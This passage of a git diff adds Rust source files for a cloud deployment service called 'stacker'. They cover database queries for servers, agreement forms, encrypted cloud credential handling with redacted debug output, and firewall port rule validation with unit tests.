$8, NOW() at time zone 'utc',NOW() at time zone 'utc', $9, $10, $11, $12, $13, $14, $15) + RETURNING id; + "#, + server.user_id, + server.project_id, + server.cloud_id, + server.region, + server.zone, + server.server, + server.os, + server.disk_type, + server.srv_ip, + server.ssh_user, + server.ssh_port, + server.vault_key_path, + server.connection_mode, + server.key_status, + server.name + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(move |result| { + server.id = result.id; + server + }) + .map_err(|e| { + + // match err { + // sqlx::error::ErrorKind::ForeignKeyViolation => { + // return JsonResponse::::build().bad_request(""); + // } + // _ => { + // return JsonResponse::::build().internal_server_error("Failed to insert"); + // } + // }) + tracing::error!("Failed to execute query: {:?}", e); + "Failed to insert".to_string() + }) +} + +pub async fn update(pool: &PgPool, mut server: models::Server) -> Result { + let query_span = tracing::info_span!("Updating user server"); + sqlx::query_as!( + models::Server, + r#" + UPDATE server + SET + user_id=$2, + project_id=$3, + cloud_id=$4, + region=$5, + zone=$6, + server=$7, + os=$8, + disk_type=$9, + updated_at=NOW() at time zone 'utc', + srv_ip=$10, + ssh_user=$11, + ssh_port=$12, + vault_key_path=$13, + connection_mode=$14, + key_status=$15, + name=$16 + WHERE id = $1 + RETURNING * + "#, + server.id, + server.user_id, + server.project_id, + server.cloud_id, + server.region, + server.zone, + server.server, + server.os, + server.disk_type, + server.srv_ip, + server.ssh_user, + server.ssh_port, + server.vault_key_path, + server.connection_mode, + server.key_status, + server.name + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(|result| { + tracing::info!("Server info {} have been saved", server.id); + server.updated_at = result.updated_at; + server + }) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + "".to_string() + }) +} + +/// Update SSH key status and vault path for a server +#[tracing::instrument(name = "Update server SSH key status.")] +pub async fn update_ssh_key_status( + pool: &PgPool, + server_id: i32, + vault_key_path: Option, + key_status: &str, +) -> Result { + sqlx::query_as!( + models::Server, + r#" + UPDATE server + SET + vault_key_path = $2, + key_status = $3, + updated_at = NOW() at time zone 'utc' + WHERE id = $1 + RETURNING * + "#, + server_id, + vault_key_path, + key_status + ) + .fetch_one(pool) + .await + .map_err(|err| { + tracing::error!("Failed to update SSH key status: {:?}", err); + "Failed to update SSH key status".to_string() + }) +} + +/// Update connection mode for a server +#[tracing::instrument(name = "Update server connection mode.")] +#[allow(dead_code)] +pub async fn update_connection_mode( + pool: &PgPool, + server_id: i32, + connection_mode: &str, +) -> Result { + sqlx::query_as!( + models::Server, + r#" + UPDATE server + SET + connection_mode = $2, + updated_at = NOW() at time zone 'utc' + WHERE id = $1 + RETURNING * + "#, + server_id, + connection_mode + ) + .fetch_one(pool) + .await + .map_err(|err| { + tracing::error!("Failed to update connection mode: {:?}", err); + "Failed to update connection mode".to_string() + }) +} + +/// Update server IP and SSH port after a successful cloud deployment. +/// Called by the MQ listener when a "completed" status message includes srv_ip. +#[tracing::instrument(name = "Update server IP from deployment completion.")] +pub async fn update_srv_ip( + pool: &PgPool, + project_id: i32, + srv_ip: &str, + ssh_port: Option, +) -> Result { + sqlx::query_as!( + models::Server, + r#" + UPDATE server + SET + srv_ip = $2, + ssh_port = COALESCE($3, ssh_port), + updated_at = NOW() at time zone 'utc' + WHERE project_id = $1 + RETURNING * + "#, + project_id, + Some(srv_ip.to_string()), + ssh_port, + ) + .fetch_one(pool) + .await + .map_err(|err| { + tracing::error!("Failed to update server IP: {:?}", err); + "Failed to update server IP".to_string() + }) +} + +#[tracing::instrument(name = "Delete user's server.")] +pub async fn delete(pool: &PgPool, id: i32, user_id: &str) -> Result { + tracing::info!("Delete server {}", id); + sqlx::query::("DELETE FROM server WHERE id = $1 AND user_id = $2;") + .bind(id) + .bind(user_id) + .execute(pool) + .await + .map(|r| r.rows_affected() > 0) + .map_err(|err| { + tracing::error!("Failed to delete server: {:?}", err); + "Failed to delete server".to_string() + }) +} diff --git a/stacker/stacker/src/forms/agreement/add.rs b/stacker/stacker/src/forms/agreement/add.rs new file mode 100644 index 0000000..38b7526 --- /dev/null +++ b/stacker/stacker/src/forms/agreement/add.rs @@ -0,0 +1,19 @@ +use crate::models; +use chrono::Utc; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Serialize, Deserialize, Debug, Validate)] +pub struct UserAddAgreement { + pub agrt_id: i32, +} + +impl Into for UserAddAgreement { + fn into(self) -> models::UserAgreement { + let mut item = models::UserAgreement::default(); + item.agrt_id = self.agrt_id; + item.created_at = Utc::now(); + item.updated_at = Utc::now(); + item + } +} diff --git a/stacker/stacker/src/forms/agreement/adminadd.rs b/stacker/stacker/src/forms/agreement/adminadd.rs new file mode 100644 index 0000000..927dc92 --- /dev/null +++ b/stacker/stacker/src/forms/agreement/adminadd.rs @@ -0,0 +1,30 @@ +use crate::models; +use chrono::Utc; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Serialize, Deserialize, Debug, Validate)] +pub struct Agreement { + #[validate(max_length = 100)] + pub name: String, + #[validate(max_length = 5000)] + pub text: String, +} + +impl Into for Agreement { + fn into(self) -> models::Agreement { + let mut item = models::Agreement::default(); + item.name = self.name; + item.text = self.text; + item.created_at = Utc::now(); + item.updated_at = Utc::now(); + item + } +} + +impl Agreement { + pub fn update(self, item: &mut models::Agreement) { + item.name = self.name; + item.name = self.text; + } +} diff --git a/stacker/stacker/src/forms/agreement/mod.rs b/stacker/stacker/src/forms/agreement/mod.rs new file mode 100644 index 0000000..edd3e88 --- /dev/null +++ b/stacker/stacker/src/forms/agreement/mod.rs @@ -0,0 +1,5 @@ +mod add; +mod adminadd; + +pub use add::UserAddAgreement; +pub use adminadd::Agreement as AdminAddAgreement; diff --git a/stacker/stacker/src/forms/cloud.rs b/stacker/stacker/src/forms/cloud.rs new file mode 100644 index 0000000..8b016c3 --- /dev/null +++ b/stacker/stacker/src/forms/cloud.rs @@ -0,0 +1,221 @@ +use crate::helpers::cloud::security::Secret; +use crate::models; +use chrono::Utc; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +fn hide_parts(value: String) -> String { + value.chars().into_iter().take(6).collect::() + "****" +} + +#[derive(Default, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct CloudForm { + pub user_id: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub project_id: Option, + /// Human-friendly name for this cloud credential (e.g. "my-hetzner"). + /// Auto-generated as "{provider}-{id}" if not provided. + #[serde(default)] + pub name: Option, + #[validate(min_length = 2)] + #[validate(max_length = 50)] + pub provider: String, + pub cloud_token: Option, + pub cloud_key: Option, + pub cloud_secret: Option, + pub save_token: Option, +} + +impl CloudForm { + #[tracing::instrument(name = "impl CloudForm::decode()", skip_all)] + pub(crate) fn decode(secret: &mut Secret, encrypted_value: String) -> String { + // tracing::error!("encrypted_value {:?}", &encrypted_value); + let b64_decoded = match Secret::b64_decode(&encrypted_value) { + Ok(decoded) => decoded, + Err(err) => { + tracing::error!("🟥 Could not decode {:?},{:?}", secret.field, err); + return "".to_owned(); + } + }; + // tracing::error!("decoded {:?}", &b64_decoded); + match secret.decrypt(b64_decoded) { + Ok(decoded) => decoded, + Err(_err) => { + tracing::error!("🟥 Could not decode {:?},{:?}", secret.field, _err); + // panic!("Could not decode "); + "".to_owned() + } + } + } + + pub(crate) fn decrypt_field( + secret: &mut Secret, + field_name: &str, + encrypted_value: Option, + reveal: bool, + ) -> Option { + if let Some(val) = encrypted_value { + secret.field = field_name.to_owned(); + let decoded_value = CloudForm::decode(secret, val); + if reveal { + return Some(decoded_value); + } else { + return Some(hide_parts(decoded_value)); + } + } + None + } + + // @todo should be refactored, may be moved to cloud.into() or Secret::from() + #[tracing::instrument(name = "decode_model", skip_all)] + pub fn decode_model(mut cloud: models::Cloud, reveal: bool) -> models::Cloud { + let mut secret = Secret::new(); + secret.user_id = cloud.user_id.clone(); + secret.provider = cloud.provider.clone(); + cloud.cloud_token = CloudForm::decrypt_field( + &mut secret, + "cloud_token", + cloud.cloud_token.clone(), + reveal, + ); + cloud.cloud_secret = CloudForm::decrypt_field( + &mut secret, + "cloud_secret", + cloud.cloud_secret.clone(), + reveal, + ); + cloud.cloud_key = + CloudForm::decrypt_field(&mut secret, "cloud_key", cloud.cloud_key.clone(), reveal); + + cloud + } +} + +impl std::fmt::Debug for CloudForm { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("CloudForm") + .field("user_id", &self.user_id) + .field("project_id", &self.project_id) + .field("name", &self.name) + .field("provider", &self.provider) + .field("cloud_token", &"[REDACTED]") + .field("cloud_key", &"[REDACTED]") + .field("cloud_secret", &"[REDACTED]") + .field("save_token", &self.save_token) + .finish() + } +} + +fn encrypt_field(secret: &mut Secret, field_name: &str, value: Option) -> Option { + if let Some(val) = value { + secret.field = field_name.to_owned(); + match secret.encrypt(val) { + Ok(encrypted) => { + return Some(Secret::b64_encode(&encrypted)); + } + Err(err) => { + tracing::error!("Failed to encrypt field {}: {}", field_name, err); + return None; + } + } + } + None +} + +impl Into for &CloudForm { + #[tracing::instrument(name = "impl Into for &CloudForm", skip_all)] + fn into(self) -> models::Cloud { + let mut cloud = models::Cloud::default(); + cloud.provider = self.provider.clone(); + cloud.user_id = self.user_id.clone().unwrap(); + // Name will be set after insert if not provided (default: "{provider}-{id}") + cloud.name = self.name.clone().unwrap_or_default(); + + if Some(true) == self.save_token { + let mut secret = Secret::new(); + secret.user_id = self.user_id.clone().unwrap(); + secret.provider = self.provider.clone(); + + cloud.cloud_token = encrypt_field(&mut secret, "cloud_token", self.cloud_token.clone()); + cloud.cloud_key = encrypt_field(&mut secret, "cloud_key", self.cloud_key.clone()); + cloud.cloud_secret = + encrypt_field(&mut secret, "cloud_secret", self.cloud_secret.clone()); + } else { + cloud.cloud_token = self.cloud_token.clone(); + cloud.cloud_key = self.cloud_key.clone(); + cloud.cloud_secret = self.cloud_secret.clone(); + } + cloud.save_token = self.save_token.clone(); + cloud.created_at = Utc::now(); + cloud.updated_at = Utc::now(); + cloud + } +} + +// on deploy +impl Into for models::Cloud { + #[tracing::instrument(name = "Into for models::Cloud .", skip_all)] + fn into(self) -> CloudForm { + let mut form = CloudForm::default(); + form.provider = self.provider.clone(); + form.name = Some(self.name.clone()); + + if Some(true) == self.save_token { + let mut secret = Secret::new(); + secret.user_id = self.user_id.clone(); + secret.provider = self.provider; + secret.field = "cloud_token".to_string(); + + let value = match self.cloud_token { + Some(value) => CloudForm::decode(&mut secret, value), + None => { + tracing::debug!("Skip {}", secret.field); + "".to_string() + } + }; + form.cloud_token = Some(value); + + secret.field = "cloud_key".to_string(); + let value = match self.cloud_key { + Some(value) => CloudForm::decode(&mut secret, value), + None => { + tracing::debug!("Skipp {}", secret.field); + "".to_string() + } + }; + form.cloud_key = Some(value); + + secret.field = "cloud_secret".to_string(); + let value = match self.cloud_secret { + Some(value) => CloudForm::decode(&mut secret, value), + None => { + tracing::debug!("Skipp {}", secret.field); + "".to_string() + } + }; + form.cloud_secret = Some(value); + } else { + form.cloud_token = self.cloud_token; + form.cloud_key = self.cloud_key; + form.cloud_secret = self.cloud_secret; + } + + form.save_token = self.save_token; + form + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn cloud_form_decode_invalid_base64_returns_empty() { + let mut secret = Secret::new(); + secret.field = "cloud_token".to_string(); + + let decoded = CloudForm::decode(&mut secret, "not-valid-base64".to_string()); + + assert_eq!(decoded, ""); + } +} diff --git a/stacker/stacker/src/forms/cloud_firewall.rs b/stacker/stacker/src/forms/cloud_firewall.rs new file mode 100644 index 0000000..6248665 --- /dev/null +++ b/stacker/stacker/src/forms/cloud_firewall.rs @@ -0,0 +1,364 @@ +use std::collections::BTreeMap; +use std::fmt; + +use serde::{Deserialize, Serialize}; + +use crate::forms::firewall::{validate_rule, FirewallPortRule, FirewallRuleDirection}; + +pub const CLOUD_FIREWALL_PROTOCOL_VERSION: &str = "stacker.cloud_firewall.v1"; + +#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)] +#[serde(rename_all = "lowercase")] +pub enum CloudFirewallAction { + Add, + Remove, + List, +} + +impl CloudFirewallAction { + pub fn as_str(&self) -> &'static str { + match self { + Self::Add => "add", + Self::Remove => "remove", + Self::List => "list", + } + } +} + +#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)] +pub struct ConfigureCloudFirewallRequest { + #[serde(default)] + pub action: Option, + #[serde(default)] + pub public_ports: Vec, + #[serde(default)] + pub private_ports: Vec, + #[serde(default)] + pub dry_run: bool, +} + +#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)] +pub struct ConfigureCloudFirewallResponse { + pub operation_id: String, + pub accepted: bool, + pub protocol_version: String, + pub provider: String, + pub server_id: i32, + pub action: CloudFirewallAction, + pub rules: Vec, + pub routing_key: String, + pub message: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub firewall_name: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub firewall: Option, +} + +#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)] +pub struct CloudFirewallDetails { + pub id: Option, + pub name: String, + #[serde(default)] + pub rules: Vec, +} + +#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)] +pub struct CloudFirewallProviderRule { + pub direction: String, + pub protocol: String, + pub port: String, + #[serde(default)] + pub source_ips: Vec, + #[serde(default)] + pub destination_ips: Vec, + #[serde(default)] + pub description: Option, +} + +#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)] +pub struct CloudFirewallRule { + pub direction: FirewallRuleDirection, + pub port: u16, + pub protocol: String, + pub source: String, + #[serde(default)] + pub comment: Option, + pub managed_by: String, + pub managed_scope: String, + #[serde(default)] + pub labels: BTreeMap, +} + +impl CloudFirewallRule { + pub fn from_port_rule( + rule: FirewallPortRule, + direction: FirewallRuleDirection, + managed_scope: impl Into, + ) -> Self { + Self { + direction, + port: rule.port, + protocol: rule.protocol, + source: rule.source, + comment: rule.comment, + managed_by: "stacker".to_string(), + managed_scope: managed_scope.into(), + labels: BTreeMap::new(), + } + } +} + +#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)] +pub struct CloudFirewallTarget { + pub provider: String, + pub cloud_id: i32, + pub server_id: i32, + pub project_id: i32, + #[serde(default)] + pub deployment_hash: Option, + pub server_public_ip: String, + #[serde(default)] + pub provider_server_id: Option, + #[serde(default)] + pub server_name: Option, + #[serde(default)] + pub region: Option, + #[serde(default)] + pub zone: Option, + #[serde(default)] + pub firewall_id: Option, + #[serde(default)] + pub firewall_name: Option, +} + +#[derive(Deserialize, Serialize, Clone, PartialEq, Eq)] +pub struct CloudFirewallCredentials { + pub provider: String, + #[serde(default)] + pub token: Option, + #[serde(default)] + pub key: Option, + #[serde(default)] + pub secret: Option, +} + +impl fmt::Debug for CloudFirewallCredentials { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + formatter + .debug_struct("CloudFirewallCredentials") + .field("provider", &self.provider) + .field("token", &self.token.as_ref().map(|_| "[REDACTED]")) + .field("key", &self.key.as_ref().map(|_| "[REDACTED]")) + .field("secret", &self.secret.as_ref().map(|_| "[REDACTED]")) + .finish() + } +} + +#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)] +pub struct CloudFirewallOperationMessage { + pub protocol_version: String, + pub operation_id: String, + pub idempotency_key: String, + pub action: CloudFirewallAction, + pub dry_run: bool, + pub target: CloudFirewallTarget, + pub rules: Vec, + pub credentials: CloudFirewallCredentials, + #[serde(default)] + pub provider_context: BTreeMap, + pub requested_by: CloudFirewallRequestedBy, +} + +#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)] +pub struct CloudFirewallRequestedBy { + pub user_id: String, + #[serde(default)] + pub user_email: Option, +} + +pub fn rules_from_request( + request: &ConfigureCloudFirewallRequest, + managed_scope: impl Into, +) -> Result, String> { + let managed_scope = managed_scope.into(); + let mut rules = Vec::new(); + + for rule in &request.public_ports { + validate_rule(rule)?; + rules.push(CloudFirewallRule::from_port_rule( + rule.clone(), + FirewallRuleDirection::Inbound, + managed_scope.clone(), + )); + } + + for rule in &request.private_ports { + validate_rule(rule)?; + rules.push(CloudFirewallRule::from_port_rule( + rule.clone(), + FirewallRuleDirection::Inbound, + managed_scope.clone(), + )); + } + + Ok(rules) +} + +pub fn validate_request( + request: &ConfigureCloudFirewallRequest, +) -> Result { + let action = request.action.clone().unwrap_or(CloudFirewallAction::Add); + if matches!( + action, + CloudFirewallAction::Add | CloudFirewallAction::Remove + ) && request.public_ports.is_empty() + && request.private_ports.is_empty() + { + return Err("at least one public or private port is required".to_string()); + } + + for rule in request + .public_ports + .iter() + .chain(request.private_ports.iter()) + { + validate_rule(rule)?; + } + + Ok(action) +} + +pub fn normalize_provider(provider: &str) -> Option<&'static str> { + match provider.trim().to_ascii_lowercase().as_str() { + "htz" | "hetzner" | "hetzner_cloud" | "hcloud" => Some("htz"), + _ => None, + } +} + +pub fn routing_key(provider: &str) -> Option { + normalize_provider(provider).map(|provider| format!("install.firewall.{}.v1", provider)) +} + +pub fn idempotency_key( + server_id: i32, + action: &CloudFirewallAction, + rules: &[CloudFirewallRule], +) -> String { + let mut parts: Vec = rules + .iter() + .map(|rule| { + format!( + "{}:{}:{}:{}:{}", + rule.direction.as_str(), + rule.protocol, + rule.port, + rule.source, + rule.managed_scope + ) + }) + .collect(); + parts.sort(); + format!( + "server:{}:{}:{}", + server_id, + action.as_str(), + parts.join("|") + ) +} + +pub fn default_firewall_name(target: &CloudFirewallTarget) -> String { + target + .firewall_name + .clone() + .or_else(|| { + target + .server_name + .clone() + .map(|name| format!("frw-{}", name)) + }) + .unwrap_or_else(|| format!("frw-server-{}", target.server_id)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn cloud_firewall_message_round_trips() { + let rule = CloudFirewallRule::from_port_rule( + FirewallPortRule { + port: 8000, + protocol: "tcp".to_string(), + source: "0.0.0.0/0".to_string(), + comment: Some("Stacker public port 8000/tcp".to_string()), + }, + FirewallRuleDirection::Inbound, + "server:42", + ); + let message = CloudFirewallOperationMessage { + protocol_version: CLOUD_FIREWALL_PROTOCOL_VERSION.to_string(), + operation_id: "cfw_test".to_string(), + idempotency_key: "server:42:add:inbound:tcp:8000:0.0.0.0/0".to_string(), + action: CloudFirewallAction::Add, + dry_run: false, + target: CloudFirewallTarget { + provider: "htz".to_string(), + cloud_id: 7, + server_id: 42, + project_id: 9, + deployment_hash: Some("deployment_test".to_string()), + server_public_ip: "203.0.113.10".to_string(), + provider_server_id: None, + server_name: Some("coolify".to_string()), + region: Some("fsn1".to_string()), + zone: None, + firewall_id: None, + firewall_name: Some("frw-coolify".to_string()), + }, + rules: vec![rule], + credentials: CloudFirewallCredentials { + provider: "htz".to_string(), + token: Some("secret-token".to_string()), + key: None, + secret: None, + }, + provider_context: BTreeMap::new(), + requested_by: CloudFirewallRequestedBy { + user_id: "user-1".to_string(), + user_email: Some("user@example.com".to_string()), + }, + }; + + let json = serde_json::to_string(&message).expect("message should serialize"); + let decoded: CloudFirewallOperationMessage = + serde_json::from_str(&json).expect("message should deserialize"); + + assert_eq!(decoded.protocol_version, CLOUD_FIREWALL_PROTOCOL_VERSION); + assert_eq!(decoded.target.provider, "htz"); + assert_eq!(decoded.rules[0].port, 8000); + assert_eq!(decoded.rules[0].managed_by, "stacker"); + } + + #[test] + fn cloud_firewall_credentials_debug_redacts_secrets() { + let credentials = CloudFirewallCredentials { + provider: "htz".to_string(), + token: Some("secret-token".to_string()), + key: Some("key".to_string()), + secret: Some("secret".to_string()), + }; + let debug = format!("{:?}", credentials); + + assert!(debug.contains("[REDACTED]")); + assert!(!debug.contains("secret-token")); + } + + #[test] + fn cloud_firewall_routing_key_normalizes_hetzner() { + assert_eq!( + routing_key("hetzner"), + Some("install.firewall.htz.v1".to_string()) + ); + assert_eq!(routing_key("unknown"), None); + } +} diff --git a/stacker/stacker/src/forms/firewall.rs b/stacker/stacker/src/forms/firewall.rs new file mode 100644 index 0000000..d77dff2 --- /dev/null +++ b/stacker/stacker/src/forms/firewall.rs @@ -0,0 +1,156 @@ +use std::net::IpAddr; + +use serde::{Deserialize, Serialize}; + +#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)] +pub struct FirewallPortRule { + pub port: u16, + #[serde(default = "default_firewall_protocol")] + pub protocol: String, + #[serde(default = "default_firewall_source")] + pub source: String, + #[serde(default)] + pub comment: Option, +} + +#[derive(Debug, Deserialize, Serialize, Clone, PartialEq, Eq)] +#[serde(rename_all = "lowercase")] +pub enum FirewallRuleDirection { + Inbound, + Outbound, +} + +impl FirewallRuleDirection { + pub fn as_str(&self) -> &'static str { + match self { + Self::Inbound => "inbound", + Self::Outbound => "outbound", + } + } +} + +pub fn default_firewall_protocol() -> String { + "tcp".to_string() +} + +pub fn default_firewall_source() -> String { + "0.0.0.0/0".to_string() +} + +pub fn parse_public_port(input: &str) -> Result { + let (port, protocol) = parse_port_proto(input)?; + let rule = FirewallPortRule { + port, + protocol, + source: default_firewall_source(), + comment: None, + }; + validate_rule(&rule)?; + Ok(rule) +} + +pub fn parse_private_port(input: &str) -> Result { + let (port_proto, source) = input.split_once(':').ok_or_else(|| { + format!( + "Invalid private port '{}'. Expected format: port[/proto]:source", + input + ) + })?; + if source.trim().is_empty() { + return Err(format!( + "Invalid private port '{}'. Source CIDR is required", + input + )); + } + + let (port, protocol) = parse_port_proto(port_proto)?; + let rule = FirewallPortRule { + port, + protocol, + source: source.to_string(), + comment: None, + }; + validate_rule(&rule)?; + Ok(rule) +} + +pub fn validate_rule(rule: &FirewallPortRule) -> Result<(), String> { + if rule.port == 0 { + return Err("port must be > 0".to_string()); + } + if !matches!(rule.protocol.as_str(), "tcp" | "udp") { + return Err("protocol must be one of: tcp, udp".to_string()); + } + validate_cidr(&rule.source)?; + Ok(()) +} + +fn parse_port_proto(input: &str) -> Result<(u16, String), String> { + let (port, protocol) = input + .split_once('/') + .map(|(port, protocol)| (port, protocol)) + .unwrap_or((input, "tcp")); + let port = port + .parse::() + .map_err(|_| format!("Invalid port number: {}", port))?; + Ok((port, protocol.to_string())) +} + +fn validate_cidr(input: &str) -> Result<(), String> { + let (ip, prefix) = input + .split_once('/') + .ok_or_else(|| format!("source must be a CIDR range: {}", input))?; + let ip: IpAddr = ip + .parse() + .map_err(|_| format!("source IP is invalid: {}", input))?; + let prefix = prefix + .parse::() + .map_err(|_| format!("source CIDR prefix is invalid: {}", input))?; + let max_prefix = match ip { + IpAddr::V4(_) => 32, + IpAddr::V6(_) => 128, + }; + if prefix > max_prefix { + return Err(format!("source CIDR prefix is invalid: {}", input)); + } + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn parse_public_port_defaults_tcp_and_public_source() { + let rule = parse_public_port("8000").expect("port should parse"); + + assert_eq!(rule.port, 8000); + assert_eq!(rule.protocol, "tcp"); + assert_eq!(rule.source, "0.0.0.0/0"); + } + + #[test] + fn parse_public_port_accepts_udp() { + let rule = parse_public_port("53/udp").expect("udp port should parse"); + + assert_eq!(rule.port, 53); + assert_eq!(rule.protocol, "udp"); + } + + #[test] + fn parse_private_port_requires_source_cidr() { + let rule = parse_private_port("5432/tcp:10.0.0.0/8").expect("private port should parse"); + + assert_eq!(rule.port, 5432); + assert_eq!(rule.protocol, "tcp"); + assert_eq!(rule.source, "10.0.0.0/8"); + } + + #[test] + fn parse_firewall_port_rejects_invalid_values() { + assert!(parse_public_port("0/tcp").is_err()); + assert!(parse_public_port("65536/tcp").is_err()); + assert!(parse_public_port("80/icmp").is_err()); + assert!(parse_private_port("5432/tcp:not-a-cidr").is_err()); + } +} diff --git a/stacker/stacker/src/forms/mod.rs b/stacker/stacker/src/forms/mod.rs new file mode 100644 index 0000000..38b87d0 --- /dev/null +++ b/stacker/stacker/src/forms/mod.rs @@ -0,0 +1,17 @@ +pub(crate) mod agreement; +pub(crate) mod cloud; +pub mod cloud_firewall; +pub mod firewall; +pub mod project; +pub mod rating; +pub mod remote_secret; +pub(crate) mod server; +pub mod status_panel; +pub mod user; + +pub use cloud::*; +pub use cloud_firewall::*; +pub use firewall::*; +pub use remote_secret::*; +pub use server::*; +pub use user::UserForm; diff --git a/stacker/stacker/src/forms/project/app.rs b/stacker/stacker/src/forms/project/app.rs new file mode 100644 index 0000000..6387666 --- /dev/null +++ b/stacker/stacker/src/forms/project/app.rs @@ -0,0 +1,176 @@ +use crate::forms; +use crate::forms::project::network::Network; +use crate::forms::project::{replace_id_with_name, DockerImage}; +use docker_compose_types as dctypes; +use indexmap::IndexMap; +use serde::{Deserialize, Serialize}; +use serde_json::Value; +use serde_valid::Validate; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct App { + #[serde(rename = "_etag")] + #[validate(min_length = 3)] + #[validate(max_length = 255)] + pub etag: Option, + #[serde(rename = "_id")] + pub id: String, + #[serde(rename = "_created")] + pub created: Option, + #[serde(rename = "_updated")] + pub updated: Option, + #[validate(min_length = 3)] + #[validate(max_length = 50)] + pub name: String, + #[validate(min_length = 3)] + #[validate(max_length = 50)] + pub code: String, + #[validate(min_length = 3)] + #[validate(max_length = 50)] + #[serde(rename = "type")] + pub type_field: String, + #[serde(flatten)] + pub role: forms::project::Role, + pub default: Option, + pub versions: Option>, + #[serde(flatten)] + #[validate] + pub docker_image: DockerImage, + #[serde(flatten)] + #[validate] + pub requirements: forms::project::Requirements, + #[validate(minimum = 1)] + pub popularity: Option, + pub commercial: Option, + pub subscription: Option, + pub autodeploy: Option, + pub suggested: Option, + pub dependency: Option, + pub avoid_render: Option, + pub price: Option, + pub icon: Option, + pub domain: Option, + pub category_id: Option, + pub parent_app_id: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub descr: Option, + pub full_description: Option, + pub description: Option, + pub plan_type: Option, + pub ansible_var: Option, + pub repo_dir: Option, + pub url_app: Option, + pub url_git: Option, + #[validate(enumerate("always", "no", "unless-stopped", "on-failure"))] + pub restart: String, + pub command: Option, + pub entrypoint: Option, + pub volumes: Option>, + #[serde(flatten)] + pub environment: forms::project::Environment, + #[serde(flatten)] + pub network: forms::project::ServiceNetworks, + #[validate] + pub shared_ports: Option>, +} + +impl App { + #[tracing::instrument(name = "named_volumes", skip_all)] + pub fn named_volumes(&self) -> IndexMap> { + let mut named_volumes = IndexMap::default(); + + if self.volumes.is_none() { + return named_volumes; + } + + for volume in self.volumes.as_ref().unwrap() { + if !volume.is_named_docker_volume() { + continue; + } + + let k = volume.host_path.as_ref().unwrap().clone(); + let v = dctypes::MapOrEmpty::Map(volume.into()); + named_volumes.insert(k, v); + } + + tracing::debug!("Named volumes: {:?}", named_volumes); + named_volumes + } + + pub(crate) fn try_into_service( + &self, + all_networks: &Vec, + ) -> Result { + let mut service = dctypes::Service { + image: Some(self.docker_image.to_string()), + ..Default::default() + }; + + let networks = dctypes::Networks::try_from(&self.network).unwrap_or_default(); + + let networks = replace_id_with_name(networks, all_networks); + service.networks = dctypes::Networks::Simple(networks); + + let ports: Vec = match &self.shared_ports { + Some(ports) => { + let mut collector = vec![]; + for port in ports { + collector.push(port.try_into()?); + } + collector + } + None => vec![], + }; + + let volumes: Vec = match &self.volumes { + Some(volumes) => { + let mut collector = vec![]; + for volume in volumes { + collector.push(dctypes::Volumes::Advanced(volume.try_into()?)); + } + + collector + } + None => vec![], + }; + + let mut envs = IndexMap::new(); + if let Some(item) = self.environment.environment.clone() { + let items = item + .into_iter() + .map(|env_var| { + ( + env_var.key, + Some(dctypes::SingleValue::String(env_var.value.clone())), + ) + }) + .collect::>(); + + envs.extend(items); + } + + service.ports = dctypes::Ports::Long(ports); + service.restart = Some(self.restart.clone()); + if let Some(cmd) = self.command.as_deref() { + if !cmd.is_empty() { + service.command = Some(dctypes::Command::Simple(cmd.to_owned())); + } + } + + if let Some(entry) = self.entrypoint.as_deref() { + if !entry.is_empty() { + service.entrypoint = Some(dctypes::Entrypoint::Simple(entry.to_owned())); + } + } + service.volumes = volumes; + service.environment = dctypes::Environment::KvPair(envs); + + Ok(service) + } +} + +impl AsRef for App { + fn as_ref(&self) -> &forms::project::DockerImage { + &self.docker_image + } +} diff --git a/stacker/stacker/src/forms/project/compose_networks.rs b/stacker/stacker/src/forms/project/compose_networks.rs new file mode 100644 index 0000000..f19eb69 --- /dev/null +++ b/stacker/stacker/src/forms/project/compose_networks.rs @@ -0,0 +1,35 @@ +use crate::forms::project::network::Network; +use docker_compose_types as dctypes; +use indexmap::IndexMap; +use serde::{Deserialize, Serialize}; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct ComposeNetworks { + pub networks: Option>, +} + +impl Into>> for ComposeNetworks { + fn into(self) -> IndexMap> { + // let mut default_networks = vec![Network::default()]; + let mut default_networks = vec![]; + + let networks = match self.networks { + None => default_networks, + Some(mut nets) => { + if !nets.is_empty() { + nets.append(&mut default_networks); + } + nets + } + }; + + let networks = networks + .into_iter() + .map(|net| (net.name.clone(), dctypes::MapOrEmpty::Map(net.into()))) + .collect::>(); + + tracing::debug!("networks collected {:?}", &networks); + + networks + } +} diff --git a/stacker/stacker/src/forms/project/custom.rs b/stacker/stacker/src/forms/project/custom.rs new file mode 100644 index 0000000..c33d0d2 --- /dev/null +++ b/stacker/stacker/src/forms/project/custom.rs @@ -0,0 +1,171 @@ +use crate::forms; +use crate::forms::project::Network; +use docker_compose_types as dctypes; +use indexmap::IndexMap; +use serde::{Deserialize, Serialize}; +use serde_json::Value as JsonValue; +use serde_valid::Validate; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct Custom { + #[validate] + pub web: Vec, + #[validate] + 